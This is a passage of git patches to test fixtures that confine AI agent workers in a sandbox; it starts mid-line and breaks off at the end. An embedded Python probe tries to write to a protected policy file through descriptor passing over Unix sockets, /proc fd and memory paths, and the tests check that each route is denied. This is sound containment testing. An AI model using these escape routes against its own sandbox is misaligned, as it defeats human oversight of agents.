env={HOME:${JSON.stringify(scratch)},CLAUDE_CONFIG_DIR:${JSON.stringify(scratch)},PATH:"/usr/bin:/bin",LANG:"el_GR.UTF-8",CLAUDE_CODE_ENTRYPOINT:"fixture-sdk",CLAUDE_AGENT_SDK_VERSION:"fixture-version",CLAUDE_CODE_ENABLE_TELEMETRY:"1",OTEL_SERVICE_NAME:"odysseus",MAX_THINKING_TOKENS:"1024",NO_COLOR:"1",BRAIN_MCP_PREFIX:"odysseus",ODYSSEUS_UNLISTED_PRODUCT_KEY:"Ithaca",CLAUDE_CODE_USE_BEDROCK:"",CLAUDE_CODE_USE_VERTEX:"",CLAUDE_CODE_USE_FOUNDRY:"",DISABLE_PROMPT_CACHING:"1",...(flag===undefined?{}:{CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC:flag,DISABLE_AUTOUPDATER:flag}),ANTHROPIC_BASE_URL:recorder.url.origin,ANTHROPIC_API_KEY:productSocket?"brain-inference-relay-placeholder":declaredKey,...(!productSocket?{CLAUDE_CODE_OAUTH_TOKEN:"sk-ant-oat01-odysseus-fixture"}:{}),...(productSocket?{ANTHROPIC_UNIX_SOCKET:target}:{})}; + if(path==="direct"||path==="prewarm")env=await sdkEnvironment(env); + else{const productArgv=launcher.workerCommand({brainPath:productBrain,startupView,command:[${JSON.stringify(runtime)}],env});const projected={};for(let i=0;i["--setenv",key,value]),...(productSocket?["--ro-bind",source,target]:[]),"--",...gates,${JSON.stringify(runtime)}]; + const outer=path==="separate-UID"?["/usr/bin/python3","-I","-S","-c",WORKER_IDENTITY_SUPERVISOR,JSON.stringify({argv:payload})]:payload; + const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env,argv:outer})});argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv;dispose=plan.dispose; + if(path==="separate-UID")argv=JSON.parse(argv[5]).argv; + } + if(!productSocket&&!["direct","prewarm"].includes(path)){const gate=argv.indexOf("brain-worker-start-gate"),entry=argv.findIndex(arg=>arg.endsWith("/egress-worker-entry.ts")),broker=argv.findIndex((arg,index)=>arg.endsWith("/native-connect")&&argv[index+1]==="--head");if(!(gate>=0&&entry>gate&&broker>entry))throw Error("REAL_WORKER_PLAN_GATES_THEN_FORWARDER_THEN_FILTER:"+path);} + const injected={};for(let i=0;i Date: Sun, 22 Nov 2026 15:46:36 +0000 Subject: [PATCH 110/187] test: register the maintenance relay fixture origin before app setup --- packages/ui-server/tests/maintenance-provider-relay.test.ts | 2 ++ 1 file changed, 2 insertions(+) diff --git a/packages/ui-server/tests/maintenance-provider-relay.test.ts b/packages/ui-server/tests/maintenance-provider-relay.test.ts index d35a0b0fad..a0feef75b2 100644 --- a/packages/ui-server/tests/maintenance-provider-relay.test.ts +++ b/packages/ui-server/tests/maintenance-provider-relay.test.ts @@ -12,6 +12,7 @@ import { join, resolve } from "node:path"; import { createNativeBrainManagerClient, type ProviderRelayReceipt } from "@schlessera/brain-ui-sdk/internal"; import { createHostBoundary, type BrainExecution } from "../src/brain/host-boundary.js"; import { createNativeAppFixture } from "./helpers/native-app-fixture.js"; +import { nativeScriptedService } from "../../../scripts/test-native-guard"; const ROOT = resolve(import.meta.dir, "../../.."); const BRAIN_CLI = join(ROOT, "packages/core/src/cli/brain.ts"); @@ -54,6 +55,7 @@ afterAll(() => { upstream.stop(true); rmSync(root, { recursive: true, force: tru function boundary(options: { blocked?: boolean } = {}) { const state = mkdtempSync(join(root, "state-")); + cleanup.push(nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] })); const native = createNativeAppFixture(brain); cleanup.push(native.close); const metered: Array<{ turnId: string | null; attempt: ProviderRelayReceipt }> = [], admitted: Array = []; const host = createHostBoundary({ brainPath: brain, dbPath: join(state, "ui.db"), exec: {}, From 4d6fa52fcf00eec458bb67bf09b7d7a66ac51498 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 16:13:57 +0000 Subject: [PATCH 111/187] test: preserve fixture transports and product boundary proofs --- .../tests/maintenance-provider-relay.test.ts | 3 +- scripts/test-native-guard.ts | 8 ++- scripts/test-network-guard.ts | 2 +- .../fixtures/autonomous-containment-probe.ts | 4 +- tests/fixtures/pi-worker-probe.ts | 6 +- tests/fixtures/policy-boundary-probe.ts | 61 +++++++++++++++---- tests/policy-write-boundary.test.ts | 23 +++++-- tests/shipped-claude-runtime-pin.test.ts | 12 +++- 8 files changed, 92 insertions(+), 27 deletions(-) diff --git a/packages/ui-server/tests/maintenance-provider-relay.test.ts b/packages/ui-server/tests/maintenance-provider-relay.test.ts index a0feef75b2..dbe959bc8e 100644 --- a/packages/ui-server/tests/maintenance-provider-relay.test.ts +++ b/packages/ui-server/tests/maintenance-provider-relay.test.ts @@ -55,7 +55,8 @@ afterAll(() => { upstream.stop(true); rmSync(root, { recursive: true, force: tru function boundary(options: { blocked?: boolean } = {}) { const state = mkdtempSync(join(root, "state-")); - cleanup.push(nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] })); + const releaseAuthority=nativeScriptedService(upstream.url.origin, { fixtureRoots: [root] }); + cleanup.push(async()=>releaseAuthority()); const native = createNativeAppFixture(brain); cleanup.push(native.close); const metered: Array<{ turnId: string | null; attempt: ProviderRelayReceipt }> = [], admitted: Array = []; const host = createHostBoundary({ brainPath: brain, dbPath: join(state, "ui.db"), exec: {}, diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 4a652be965..c86ce3190d 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -772,13 +772,17 @@ interface ScriptedAuthority { isLive():boolean; fixtureCredentials:ReadonlyMap(); export function nativeFixtureTitleCollector(env:Record):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("native title collector declaration unavailable");return registerNativeTitleCollector(env,scope);} -export interface NativeFixtureWorkerSpawnRecord {pid:number;start:string;argv:readonly string[];command:readonly string[];env:Readonly>;brainPath:string|undefined;bwrap:number} +export interface NativeFixtureWorkerSpawnRecord {pid:number;start:string;argv:readonly string[];command:readonly string[];env:Readonly>;brainPath:string|undefined;bwrap:number;statusPrefixLength:number} const workerSpawnRecords=new WeakSet(),workerSpawnObservers=new Set<{scope:ScriptedAuthority;observe:(record:NativeFixtureWorkerSpawnRecord)=>void}>(); export function nativeFixtureIsWorkerSpawnRecord(record:object):boolean{return workerSpawnRecords.has(record);} export function nativeFixtureObserveWorkerSpawns(observe:(record:NativeFixtureWorkerSpawnRecord)=>void):()=>void {const scope=scriptedRoute.getStore();if(!scope)throw Error("worker spawn observation requires scripted scope");const entry={scope,observe};workerSpawnObservers.add(entry);return ()=>workerSpawnObservers.delete(entry);} function recordFixtureWorkerSpawn(pid:number,launch:{argv?:string[];command:readonly string[];env?:Record;brainPath?:string},scope:ScriptedAuthority):void { const matching=[...workerSpawnObservers].filter(entry=>entry.scope===scope);if(!matching.length)return; - const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap:nativeBwrapIndex(launch.argv!)});workerSpawnRecords.add(record);for(const entry of matching)entry.observe(record); + const bwrap=nativeBwrapIndex(launch.argv!); + // The validated status shell is an outer one-shot FD handoff. Replays use + // their own status descriptors, retaining every subsequent sandbox prefix. + const statusPrefixLength=bwrap>0&&basename(launch.argv![0]!)==="sh"&&launch.argv![3]==="brain-worker-status"?6:0; + const record=Object.freeze({pid,start:processStart(pid),argv:Object.freeze([...launch.argv!]),command:Object.freeze([...launch.command]),env:Object.freeze({...launch.env}),brainPath:launch.brainPath,bwrap,statusPrefixLength});workerSpawnRecords.add(record);for(const entry of matching)entry.observe(record); } /** Test code pins its scripted service before building a restricted turn. */ diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 2eb383cbc3..92ef7fe77e 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -185,7 +185,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { const workerBoundary = boundary ? undefined : nativeWorkerBoundary(testGitEnvironment({ ...options.env ?? process.env, ...(options.env?.BRAIN_NATIVE_TEST_HEAD === undefined ? { BRAIN_NATIVE_TEST_HEAD: nativeTestHead() } : {}), ...(!Object.hasOwn(options.env ?? {},"GITHUB_ACTIONS") && process.env.GITHUB_ACTIONS === "true" ? { GITHUB_ACTIONS: "true", ...(!Object.hasOwn(options.env ?? {},"RUNNER_ENVIRONMENT")?{RUNNER_ENVIRONMENT:process.env.RUNNER_ENVIRONMENT}:{}) } : {}) })); - const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],options):undefined; + const unknownBoundary=!boundary&&!workerBoundary?.unknown&&!options.env?.BRAIN_WORKER_LAUNCH&&nativeWorkerClassification(cmd,options)==="unknown"?nativeUnknownBoundary((Array.isArray(args[0])?args[0]:(args[0] as {cmd:string[]}).cmd) as string[],{...options,env:testGitEnvironment(options.env??process.env)}):undefined; if(unknownBoundary)args[0]=Array.isArray(first)?unknownBoundary.argv:{...args[0] as object,cmd:unknownBoundary.argv}; let inherited = inheritWorkspaceLease({ ...options, env: boundary?.env ?? unknownBoundary?.env ?? workerBoundary!.env }, defaultStderr, pipeOnly); if(!boundary&&!unknownBoundary&&!workerBoundary?.unknown&&!pipeOnly&&!isGuardedNativePlan(cmd)){ diff --git a/tests/fixtures/autonomous-containment-probe.ts b/tests/fixtures/autonomous-containment-probe.ts index 2ecc118a56..4faeb69ac4 100644 --- a/tests/fixtures/autonomous-containment-probe.ts +++ b/tests/fixtures/autonomous-containment-probe.ts @@ -210,11 +210,11 @@ async function server(): Promise { const companions:Promise[]=[]; const observeCompanion=nativeFixtureObserveWorkerSpawns(record=>{ if(adapter!=="claude"||scenario!=="attack"||record.brainPath!==brainPath)return; - companions.push(runProductCompanion(record)); + const companion=runProductCompanion(record);void companion.catch(()=>{});companions.push(companion); }); async function runProductCompanion(record:NativeFixtureWorkerSpawnRecord){ if(!nativeFixtureIsWorkerSpawnRecord(record)||record.bwrap<0)throw Error("ACTUAL_GUARD_SPAWN_RECORD_REQUIRED"); - const captured=[...record.argv.slice(record.bwrap)],terminal=captured.length-record.command.length; + const captured=[...record.argv.slice(record.statusPrefixLength)],terminal=captured.length-record.command.length; if(!record.command.every((arg,index)=>captured[terminal+index]===arg))throw Error("ACTUAL_PRODUCT_TERMINAL_COMMAND_REQUIRED"); const config=attackConfig.replace('"upstreamPort":0',`"upstreamPort":${upstream.port}`); const replay=[...captured.slice(0,terminal),"/usr/bin/python3","-I","-S","-c",ATTACK_PY,config]; diff --git a/tests/fixtures/pi-worker-probe.ts b/tests/fixtures/pi-worker-probe.ts index 8c87746979..87dd65a126 100644 --- a/tests/fixtures/pi-worker-probe.ts +++ b/tests/fixtures/pi-worker-probe.ts @@ -1,4 +1,5 @@ import { createFixtureTurnHost } from "./turn-host-fixture.js"; +import { AsyncLocalStorage } from "node:async_hooks"; import { startFixtureTurn } from "./worker-input-fixture.js"; /** Real ordinary pi turns, confined by the caller's offline network namespace. */ import { cpSync, existsSync, linkSync, mkdirSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; @@ -234,6 +235,9 @@ else if (scenario !== "host-web") toolCalls = [inspect]; // and the executor's private state exist only on the host; the actual worker // tries to read both after the executor has started. const hostWeb = scenario === "host-web"; +// The independent web executor predates the app fixture's native-only scope. +// Preserve its host context when the bridge lazily starts its proxy. +const inHostWebScope = AsyncLocalStorage.snapshot(); const webSentinel = "odysseus-host-web-sentinel"; const webRoot = join(root, "host-web"), webHostConfig = join(webRoot, "web-search.json"), webExecutorRoot = join(webRoot, "executor"); const webReceipts: WebReceipt[] = [], webProviderKeys: Array = []; @@ -338,7 +342,7 @@ const webAccess = webBroker ? createWebAccess({ host: { webTools: webBroker }, t signal: controller.signal, backendId: "pi", workerProfile: { origin: "interactive", actualProfile: "governed" }, current: () => !controller.signal.aborted, recordingAvailable: () => true } as never, { collectedSessionId: "s-ithaca" }, { policy: { hash: "rev-odyssey", policy: { providers: [] } } } as never).webAccess : undefined; const activeBridge = scenario.startsWith("mask-") ? { ...bridge, requestMask: maskBridge.requestMask, - ...(scenario !== "mask-no-route" ? { applyImageMask: maskBridge.applyImageMask } : {}) } : webAccess ? { ...bridge, webAccess } : bridge; + ...(scenario !== "mask-no-route" ? { applyImageMask: maskBridge.applyImageMask } : {}) } : webAccess ? { ...bridge, webAccess: (call: Parameters[0]) => inHostWebScope(webAccess, call) } : bridge; if (scenario === "failed-host") workerHostBoundary.probe = () => ({ ok: false, requirement: "fixture missing namespaces" }); if (scenario === "pre-aborted") controller.abort(); const deadline = setTimeout(() => controller.abort(), 15_000); diff --git a/tests/fixtures/policy-boundary-probe.ts b/tests/fixtures/policy-boundary-probe.ts index 4a58851ef5..b61f93f24f 100644 --- a/tests/fixtures/policy-boundary-probe.ts +++ b/tests/fixtures/policy-boundary-probe.ts @@ -1,8 +1,9 @@ import "../../scripts/test-network-child-preload.ts"; import { watchdogMs } from "../../scripts/test-deadlines"; -import {nativeScriptedService} from "../../scripts/test-native-guard.ts"; +import {nativeScriptedService,nativeUnknownBoundary,nativeFixtureObserveWorkerSpawns,nativeFixtureIsWorkerSpawnRecord,type NativeFixtureWorkerSpawnRecord} from "../../scripts/test-native-guard.ts"; import { createFixtureTurnHost } from "./turn-host-fixture.js"; -import { replaceNativeStartupAcquisitionForFixture } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; +import { replaceNativeStartupAcquisitionForFixture,isFixtureStartupView } from "../../packages/ui-server/tests/helpers/fixture-native-startup.js"; +import {observeCopiedFixtureTurnTrees} from "../../packages/ui-server/tests/helpers/fixture-turn-data-tree.js"; const restoreNativeAcquisition = replaceNativeStartupAcquisitionForFixture(); process.on("exit", restoreNativeAcquisition); /** @@ -148,8 +149,6 @@ async function outer(): Promise { const source = process.argv[2]; const report = { source, ...${scenario.startsWith("governed") ? "{ results: [], scratchAliases: [], scratch: true, areaWritable: [] }" : "__attempt(fs)"} }; fs.writeFileSync((process.env.BRAIN_WORKER_SCRATCH ?? "/tmp/brain-worker-scratch") + "/witness-" + source + ".json", JSON.stringify(report)); -const base = process.env.ANTHROPIC_BASE_URL; -if (base) await fetch(base + "/witness", { method: "POST", body: JSON.stringify(report) }).catch(() => {}); if (source === "mcp") process.execve(${JSON.stringify(process.execPath)}, [${JSON.stringify(process.execPath)}, ${JSON.stringify(join(REPO, "packages/core/src/cli/brain.ts"))}, "mcp"], process.env);`); writeFileSync(join(brainPath, ".mcp.json"), JSON.stringify({ mcpServers: { brain: { command: process.execPath, args: [join(brainPath, "witness.ts"), "mcp"] } } })); mkdirSync(join(brainPath, ".claude")); @@ -209,10 +208,6 @@ export default function (pi) { const report = { source: "extension-factory", ...__attempt(fs) }; const scratch = process.env.BRAIN_WORKER_SCRATCH; fs.writeFileSync(scratch + "/witness-extension-factory.json", JSON.stringify(report)); - try { - const base = JSON.parse(fs.readFileSync(scratch + "/pi-state/models.json", "utf8")).providers.anthropic.baseUrl; - void fetch(base + "/witness", { method: "POST", body: JSON.stringify(report) }).catch(() => {}); - } catch {} pi.registerTool({ name: "probe_worker", label: "Worker proof", description: "Fictional Odysseus worker proof", parameters: { type: "object", properties: { config: { type: "string" } }, required: ["config"] }, async execute(_id, params) { @@ -475,6 +470,33 @@ async function server(): Promise { const db = createUiDb(":memory:"); const store = createActivityStore(db, { writer: "policy-boundary-test" }), stream = createActivityStream(store); const nativeHost = createFixtureTurnHost(brainPath, db, scenario.startsWith("governed") ? "governed" : "strict"); + // The native arm proves the extra broker; this replay proves the product's + // original descriptor-transfer boundary without changing its sandbox plan. + const companions:Promise[]=[]; + const observeCompanion=nativeFixtureObserveWorkerSpawns(record=>{ + if(adapter==="claude"&&scenario==="attacks"&&record.brainPath===brainPath){const companion=runProductCompanion(record);void companion.catch(()=>{});companions.push(companion);} + }); + async function runProductCompanion(record:NativeFixtureWorkerSpawnRecord){ + if(!nativeFixtureIsWorkerSpawnRecord(record)||record.bwrap<0)throw Error("ACTUAL_GUARD_SPAWN_RECORD_REQUIRED"); + const captured=[...record.argv.slice(record.statusPrefixLength)],terminal=captured.length-record.command.length; + if(!record.command.every((arg,index)=>captured[terminal+index]===arg))throw Error("ACTUAL_PRODUCT_TERMINAL_COMMAND_REQUIRED"); + const replay=[...captured.slice(0,terminal),python!,"-I","-S","-c",ATTACK_PY,attackConfig]; + const plan=nativeUnknownBoundary(replay,{cwd:brainPath,env:{...record.env}},undefined,true); + const at=plan.argv.indexOf(captured[0]!),normalized=plan.argv.slice(at),mask=plan.maskBinds; + const maskAt=normalized.findIndex((_,index)=>mask.every((word,offset)=>normalized[index+offset]===word)); + if(at<0||maskAt<0)throw Error("ONLY_O1_MASK_BINDS_MAY_CHANGE_PRODUCT_PLAN");normalized.splice(maskAt,mask.length); + if(JSON.stringify(normalized)!==JSON.stringify(replay))throw Error("PRODUCT_COMPANION_ARGV_DRIFT"); + const folder=join(root,`companion-${record.pid}`);mkdirSync(folder);writeFileSync(join(folder,"go"),"go\n",{mode:0o600}); + const ready=openSync(join(folder,"status"),"w",0o600),go=openSync(join(folder,"go"),"r"); + try{ + const child=Bun.spawn(plan.argv,{env:plan.env,stdin:"ignore",stdout:"pipe",stderr:"pipe",stdio:["ignore","pipe","pipe",ready,go]}); + const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + if(code!==0)throw Error("PRODUCT_COMPANION_FAILED: "+err); + const line=out.split("\n").find(line=>line.startsWith("ATTACK-RESULT "));if(!line)throw Error("REAL_PRODUCT_COMPANION_REPORT_REQUIRED"); + return {attack:JSON.parse(line.slice(14)),fromGuardSpawn:true,planMatches:true}; + }finally{closeSync(ready);closeSync(go);rmSync(folder,{recursive:true,force:true});} + } + const holdCompanions=observeCopiedFixtureTurnTrees(isFixtureStartupView,()=>Promise.all(companions).then(()=>{})); const { governedTurns, applicationPlanner } = nativeHost; const host = new WsHost({ ...nativeHost, governedTurns, applicationPlanner, brainPath, registry: createStaticBackendRegistry([selected as typeof backend], adapter), catalog: createSessionCatalog(() => db), isPrincipalAuthorized: () => true, activity: { store, stream, governance: event => recordGovernanceEvent(db, event) }, turnTimeoutMs: /* native-hang-guard: Successful policy-boundary turns; this probe does not assert deadline expiry. */ watchdogMs(90_000) }); @@ -541,9 +563,10 @@ async function server(): Promise { const toolResults = frames.filter(f => f.type === "tool_result").map(f => ({ toolUseId: f.toolUseId, isError: f.isError, output: String(f.output ?? "") })); const toolStarts = frames.filter(f => f.type === "tool_use_start" || f.type === "tool_use_complete").map(f => ({ toolUseId: f.toolUseId, toolName: f.toolName })); writeFileSync(receiptPath, JSON.stringify({ adapter, parentPiStateUnchanged: initialPiState === JSON.stringify(piState()), calls, spawned, issued, requests, witnesses, unavailable, frames: frames.filter(f => f.type !== "text_delta" && f.type !== "status"), - toolResults, toolStarts, applications, raceReceipts, maskRequests, askRequests, settled, failure, autonomous, held, mapped, mappingBytes: mapping.length, + toolResults, toolStarts, applications, raceReceipts, maskRequests, askRequests, settled, failure, autonomous, held, mapped, mappingBytes: mapping.length,companionReports:await Promise.all(companions), governance: queryGovernanceEvents(db, { limit: 100 }), serverPid: process.pid, python, posture, serialization: existsSync(join(brainPath, "notes/git-serialization.md")) ? readFileSync(join(brainPath, "notes/git-serialization.md"), "utf8") : null })); Bun.spawn = original.spawn; Bun.spawnSync = original.spawnSync; + observeCompanion();holdCompanions(); closeSync(preConfinementFd); await host.close(); await nativeHost.close(); stream.close(); db.close(); inference.stop(true); } @@ -621,23 +644,35 @@ for path in ["/proc/self/map_files/" + n for n in os.listdir("/proc/self/map_fil # Descriptor transfer: a second process passes its best policy descriptor over # a Unix socket, and exposes it through its own /proc//fd. a, b = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) +status_r, status_w = os.pipe() child = os.fork() if child == 0: b.close() + os.close(status_r) try: held = os.open(policy, os.O_RDWR) except OSError: held = os.open(policy, os.O_RDONLY) - socket.send_fds(a, [b"x"], [held]); a.recv(1); os._exit(0) + try: socket.send_fds(a, [b"x"], [held]) + except OSError as e: + os.write(status_w, code(e).encode()); os._exit(0) + os.write(status_w, b"sent"); a.recv(1); os._exit(0) a.close() -msg, fds, flags, addr = socket.recv_fds(b, 1, 4) +os.close(status_w) +transfer_status = os.read(status_r, 32).decode() +os.close(status_r) +if transfer_status == "sent": + msg, fds, flags, addr = socket.recv_fds(b, 1, 4) +else: + fds = []; res["transferRefusal"] = transfer_status res["transferReceived"] = len(fds) for received in fds: try: os.write(received, b"POLICY-ESCAPE"); note("socket-fd", True) except OSError as e: note("socket-fd", False, code(e)) write_path("/proc/self/fd/%d" % received) -for name in os.listdir("/proc/%d/fd" % child): +for name in os.listdir("/proc/%d/fd" % child) if transfer_status == "sent" else []: path = "/proc/%d/fd/%s" % (child, name) if same(path): res["fdCandidates"] += 1; write_path(path) -b.send(b"x"); os.waitpid(child, 0) +if transfer_status == "sent": b.send(b"x") +os.waitpid(child, 0) print("ATTACK-RESULT " + json.dumps(res)) `; diff --git a/tests/policy-write-boundary.test.ts b/tests/policy-write-boundary.test.ts index 823eeef471..c640489659 100644 --- a/tests/policy-write-boundary.test.ts +++ b/tests/policy-write-boundary.test.ts @@ -114,15 +114,30 @@ for (const adapter of ["claude", "pi"] as const) describe(`${adapter} policy-wri // Cases 1–4 from inside the worker: inherited/pre-confinement descriptors, // policy-backed stdio, socket and /proc descriptor transfer, mappings, // /proc root/cwd views and the server/donor by host pid. - for (const a of attacks(r)) { + const nativeAttacks=attacks(r); + const companions=adapter==="claude"?r.receipt.companionReports:[]; + if(adapter==="claude"){ + expect(companions,"PRODUCT_DESCRIPTOR_TRANSFER_COMPANION").toHaveLength(1); + expect(nativeAttacks[0].transferRefusal,"NATIVE_BROKER_DENIES_SCM_RIGHTS").toBe("EPERM"); + expect(nativeAttacks[0].transferReceived).toBe(0); + for(const companion of companions){ + expect(companion.fromGuardSpawn,"COMPANION_USES_ACTUAL_GUARD_SPAWN_RECORD").toBe(true); + expect(companion.planMatches,"ONLY_TERMINAL_COMMAND_AND_O1_MASK_BINDS_DIFFER").toBe(true); + expect(companion.attack.transferRefusal,"PRODUCT_COMPANION_HAS_NO_NATIVE_BROKER").toBeUndefined(); + expect(companion.attack.transferReceived,"PRODUCT_COMPANION_TRANSFERS_REAL_DESCRIPTOR").toBe(1); + } + } + for (const a of [...nativeAttacks,...companions.map((companion:any)=>companion.attack)]) { expect(a.wrote, "no descriptor, mapping or /proc route wrote policy").toEqual([]); expect(a.attempts.length).toBeGreaterThan(15); expect(a.serverVisible, "neither the server nor the donor is visible in the worker").toBe(false); - expect(a.transferReceived, "a descriptor really crossed the Unix socket").toBe(1); - expect(a.fdCandidates, "the transferred policy descriptor was found and tried").toBeGreaterThan(0); + if(!a.transferRefusal){ + expect(a.transferReceived, "a descriptor really crossed the Unix socket").toBe(1); + expect(a.fdCandidates, "the transferred policy descriptor was found and tried").toBeGreaterThan(0); + } const errors = Object.fromEntries(a.attempts.map((t: any) => [t.target, t.error])); expect(errors["mmap-shared-write"]).toBe("EACCES"); - expect(errors["socket-fd"]).toBe("EBADF"); + if(!a.transferRefusal)expect(errors["socket-fd"]).toBe("EBADF"); expect(errors["self-mem-mapping"]).toBeDefined(); for (const name of ["server", "donor"]) expect(errors[`mem:${name}`], `${name} memory is unreachable`).toBe("ENOENT"); for (const t of a.attempts.filter((t: any) => /^\/proc\/\d{4,}\//.test(t.target))) expect(t.error).toBe("ENOENT"); diff --git a/tests/shipped-claude-runtime-pin.test.ts b/tests/shipped-claude-runtime-pin.test.ts index 8deb73c09a..7fe6d0c233 100644 --- a/tests/shipped-claude-runtime-pin.test.ts +++ b/tests/shipped-claude-runtime-pin.test.ts @@ -7,12 +7,18 @@ import { test, expect } from "bun:test"; import { readFileSync } from "node:fs"; import { dirname, join } from "node:path"; import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; +import { nativeScriptedService } from "../scripts/test-native-guard"; -test("the public backend resolves SDK 0.3.293 and its bundled CLI reports 2.1.293", () => { +test("the public backend resolves SDK 0.3.293 and its bundled CLI reports 2.1.293", async () => { const root = join(import.meta.dir, ".."); const current = Bun.resolveSync("@anthropic-ai/claude-agent-sdk", join(root, "packages/ui-backend-claude/src")); expect(JSON.parse(readFileSync(join(dirname(current), "package.json"), "utf8")).version).toBe("0.3.293"); const native = bundledClaudeBinary(current); expect(native).not.toBeNull(); - const child = Bun.spawnSync([native!, "--version"], { env: { PATH: "/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }, stdout: "pipe", stderr: "pipe" }); - expect(child.exitCode).toBe(0); expect(child.stdout.toString().trim()).toBe("2.1.293 (Claude Code)"); + const server = Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); + const release = nativeScriptedService(server.url.origin, {fixtureRoots:[]}); + try { + const child = Bun.spawn([native!, "--version"], { env: { PATH: "/usr/bin:/bin", CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1" }, stdout: "pipe", stderr: "pipe" }); + const [code,stdout,stderr] = await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); + expect(code,stderr).toBe(0); expect(stdout.trim()).toBe("2.1.293 (Claude Code)"); + } finally {release();server.stop(true);} }); From 8f3270c1e406fd174230239d6fa9fa071f116796 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 18:31:12 +0000 Subject: [PATCH 112/187] fix(test): bound real fixture waits and restore mount observers --- .../tests/maintenance-temp-ledger-protocol.ts | 3 ++- .../tests/account-writes-offloop.test.ts | 3 ++- packages/ui-server/tests/external-speech.test.ts | 3 ++- .../ui-server/tests/helpers/http-contract-app.ts | 4 +++- .../ui-server/tests/http-supported-mounts.test.ts | 3 ++- .../integration/inbox-dispatch-recovery.test.ts | 15 ++++++++------- .../maintenance-temp-boundary-diagnostics.test.ts | 3 ++- packages/ui-server/tests/origin-policy.test.ts | 13 +++++++------ packages/ui-server/tests/turn-scope.test.ts | 6 +++--- 9 files changed, 31 insertions(+), 22 deletions(-) diff --git a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts index 90cba9b84e..7188afdcda 100644 --- a/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts +++ b/packages/ui-sdk/tests/maintenance-temp-ledger-protocol.ts @@ -1,5 +1,6 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Test-only process receipts, bounded and independent of pipe chunk boundaries. */ -const RECEIPT_TIMEOUT_MS = 5000; +const RECEIPT_TIMEOUT_MS = watchdogMs(60_000); const RECEIPT_BYTES = 64 * 1024; const DIAGNOSTIC_BYTES = 8192; type LedgerChild = { diff --git a/packages/ui-server/tests/account-writes-offloop.test.ts b/packages/ui-server/tests/account-writes-offloop.test.ts index 68bef3c9db..66e013a13c 100644 --- a/packages/ui-server/tests/account-writes-offloop.test.ts +++ b/packages/ui-server/tests/account-writes-offloop.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; /** Account/security administration commits on the shared FULL writer (#3002). */ import { expect, test } from "bun:test"; import { mkdtempSync, rmSync } from "node:fs"; @@ -67,7 +68,7 @@ for (const operation of ["mint", "revoke", "grant", "revokeGrant"] as const) { .toContain(operation === "grant" || operation === "revokeGrant" ? "reference_grants" : "principals"); if (operation === "revoke") expect(resolvePrincipal(f.db, f.agent.id)?.revokedAt, "ACCOUNT_REVOCATION_COMMITTED").not.toBeNull(); } finally { await f.close(); } - }); + }, watchdogMs(120_000)); } test("explicit metadata recipient commits through FULL account writes and a queued revoked owner cannot grant it", async () => { diff --git a/packages/ui-server/tests/external-speech.test.ts b/packages/ui-server/tests/external-speech.test.ts index cdbb7e07f8..1e68fd8b31 100644 --- a/packages/ui-server/tests/external-speech.test.ts +++ b/packages/ui-server/tests/external-speech.test.ts @@ -1,3 +1,4 @@ +import { watchdogMs } from "../../../scripts/test-deadlines"; import { describe, expect, test } from "bun:test"; import { mkdirSync, writeFileSync } from "node:fs"; import { join } from "node:path"; @@ -58,7 +59,7 @@ test("a supplied provider wins over automatic Deepgram discovery but never an ex } } finally { await t.close(); } } -}); +}, watchdogMs(120_000)); test("supported keyterms reach the supplied provider and false capabilities skip the builder", async () => { for (const supported of [true, false]) { diff --git a/packages/ui-server/tests/helpers/http-contract-app.ts b/packages/ui-server/tests/helpers/http-contract-app.ts index fb5d7b961c..7b1413137f 100644 --- a/packages/ui-server/tests/helpers/http-contract-app.ts +++ b/packages/ui-server/tests/helpers/http-contract-app.ts @@ -20,6 +20,9 @@ import { makeFakeBackend } from "./fake-backend"; */ export const CLI_LOG = ".brain-fixture-cli.jsonl"; +// Capture before an interrupted fixture can leave its route observer active. +const originalRoute = Hono.prototype.route; + /** A real composition root with disposable files and no vendor discovery. */ export async function httpContractApp(options: { env?: Record; @@ -75,7 +78,6 @@ else if (args[0] === "sync") console.log("Fixture sync complete"); // real mount. Its public routes collection includes direct /ws and SPA // handlers as well as the routers; no production inspection seam is needed. let mounted: Hono | undefined; - const originalRoute = Hono.prototype.route; const observer = spyOn(Hono.prototype, "route").mockImplementation(function (this: Hono, ...args) { const result = Reflect.apply(originalRoute, this, args); mounted = result; diff 